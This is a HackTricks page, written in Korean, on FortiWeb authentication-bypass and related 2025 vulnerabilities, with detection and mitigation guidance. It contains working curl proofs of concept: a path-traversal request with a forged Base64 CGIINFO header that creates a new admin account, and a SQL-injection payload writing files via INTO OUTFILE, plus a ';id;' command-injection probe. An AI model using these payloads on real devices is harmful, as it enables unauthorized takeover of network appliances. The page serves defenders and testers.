Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

Fortinet FortiWeb는 중앙집중식 CGI 디스패처를 /cgi-bin/fwbcgi에 노출합니다. 두 개의 취약점 체인을 이용하면 인증되지 않은 원격 공격자가 다음을 할 수 있습니다:

  • 유효한 API prefix로 URL을 시작하고 directory traversal을 통해 fwbcgi에 도달합니다.
  • CGI가 신원으로 신뢰하는 특수 HTTP header를 제공하여 모든 사용자(내장된 admin 포함)를 가장합니다.

벤더 권고: FG‑IR‑25‑910 (CVE‑2025‑64446). 실제로 지속적인 admin 계정 생성을 위해 악용된 사례가 관찰되었습니다.

영향을 받는 버전(공개 문서 기준):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2는 아래의 traversal probe에 대해 HTTP 403을 반환합니다.

빠른 취약성 탐지

  • API prefix에서 fwbcgi로의 Path traversal:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • 해석: HTTP 200 → 취약할 가능성 높음; HTTP 403 → 패치됨.

근본 원인 체인

  1. API-prefix path traversal to internal CGI
  • 유효한 FortiWeb API 접두사로 시작하는 모든 요청 경로(예: /api/v2.0/cmdb/ 또는 /api/v2.0/cmd/)는 ..//cgi-bin/fwbcgi까지 순회할 수 있다.
  1. Minimal-body validation bypass
  • fwbcgi에 도달하면, 첫 번째 관문은 /var/log/inputcheck/ 아래의 경로별 파일로 키된 관대한 JSON 검사를 수행한다. 파일이 없으면 검사는 즉시 통과된다. 파일이 있으면, 바디는 유효한 JSON이면 충분하다. 최소 준수 바디로 {}를 사용하라.
  1. Header-driven user impersonation
  • 프로그램은 CGI 환경변수 HTTP_CGIINFO(HTTP 헤더 CGIINFO에서 유래)를 읽고, Base64로 디코드한 뒤 JSON을 파싱하여 속성을 로그인 컨텍스트에 직접 복사하고 도메인/VDOM을 설정한다. 관심 키:
  • username, loginname, vdom, profname
  • 내장 관리자(admin)를 가장하기 위한 예시 JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

위의 Base64 (실제 현장에서 사용된 형태):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

엔드-투-엔드 남용 패턴 (인증되지 않음 → admin)

  1. API-prefix traversal을 통해 /cgi-bin/fwbcgi에 도달한다.
  2. 입력 검사를 통과시키기 위해 유효한 JSON 바디(예: {})를 제공한다.
  3. JSON이 대상 식별자(target identity)를 정의하도록 CGIINFO: <base64(json)> 헤더를 전송한다.
  4. 특권 동작을 수행하기 위해 fwbcgi가 기대하는 백엔드 JSON을 POST한다(예: 지속성 유지를 위해 admin 사용자 생성).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin을 사칭하여 새로운 local admin user를 생성:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

참고:

  • /var/log/inputcheck/<path>.json이(가) 존재하지 않으면 임의의 유효한 JSON 본문(예: {})이면 충분합니다.
  • action schema는 FortiWeb 내부용입니다; 위 예제는 전체 권한을 가진 로컬 관리자 계정을 추가합니다.

빠르게 확인할 만한 다른 FortiWeb 2025 취약점

Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)

  • 영향 대상: 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11에서 수정됨.
  • 버그: get_fabric_user_by_token()Authorization: Bearer <token> 값을 SQL 쿼리에 그대로 사용합니다. 공격자는 MySQL 사용자 권한으로 실행되는 SQL을 삽입하여 SELECT ... INTO OUTFILE로 파일을 생성하도록 하여 코드 실행(웹셸/.pth 로더)을 얻을 수 있습니다.
  • 일반적인 공격 표면: /api/fabric/device/status (및 다른 Fabric Connector 엔드포인트) — 관리 플레인에서 HTTP/HTTPS를 통해 접근 가능.
  • SQLi에 대한 빠른 테스트:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: FortiWeb의 Python site-packages에 .pth를 작성해 인터프리터 시작 시 os;os.system(...)을 import하게 만들거나, 웹루트 아래에 CGI를 배치합니다. 서비스를 재시작하면 페이로드가 실행됩니다.
  • 탐지 단서: Authorization 헤더에 quotes/UNION/SELECT 포함; /data/lib/python*/site-packages/ 또는 /data/var/waf/html/ROOT/cgi-bin/ 아래의 예상치 못한 파일들.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Improper SAML signature verification으로 공격자가 FortiCloud SSO 응답을 위조해 자격증명 없이 관리자 계정으로 로그인할 수 있습니다.
  • FortiCloud SSO login이 활성화된 경우에만 악용 가능(장치가 GUI로 등록되면 체크박스가 해제되지 않은 한 자동으로 켜짐).
  • Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Practical probe (non-destructive): 관리 HTTP 엔드포인트에 파라미터로 ;id; 를 보내고, 명령 출력이 포함된 500 응답이 돌아오는지 확인합니다; echo가 보이면 즉시 차단하거나 패치하세요.

Detection

  • /cgi-bin/fwbcgi에 도달하는 요청이 ../를 포함한 API-프리픽스 경로를 통해 들어오는 경우 (예: /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • CGIINFO 헤더가 Base64 JSON으로 존재하고 username/loginname/vdom/profname 키를 포함하는 경우.
  • Fabric Connector SQLi: Authorization 헤더에 SQL 메타문자가 포함되거나, Python site-packages/CGI 디렉터리에 갑작스런 파일이 생성되거나, 인터넷 IP에서 /api/fabric/device/status에 접근한 기록이 있는 경우.
  • FortiCloud SSO: /var/log/ssod에서 예상치 못한 SAML issuer 또는 audience 값이 발견되는 경우.
  • Backend artifacts:
  • /var/log/inputcheck/ 아래 경로별 파일들(게이트 설정).
  • 예기치 않은 관리자 계정 생성 및 설정 변경.
  • 빠른 검증: 트래버설 프로브가 200을 반환하면 노출(패치된 빌드에서는 403 차단).

Mitigation

  • 벤더 권고에 따라 고정 릴리스로 업그레이드(예: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
  • 다른 2025 취약점들도 패치: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • 패치 전까지:
  • FortiWeb management plane을 신뢰할 수 없는 네트워크에 노출하지 마세요.
  • 다음을 차단하도록 reverse-proxy/WAF 규칙을 추가하세요:
  • /api/로 시작하고 ../cgi-bin/fwbcgi를 포함하는 경로들.
  • CGIINFO 헤더를 담은 요청들.
  • Authorization에 SQL 메타문자가 포함된 Fabric Connector 호출들.
  • FortiCloud SSO를 사용하지 않는다면 SAML 엔드포인트를 인터넷에 노출하지 마세요.
  • 위의 탐지 지표들을 모니터링하고 경보를 설정하세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기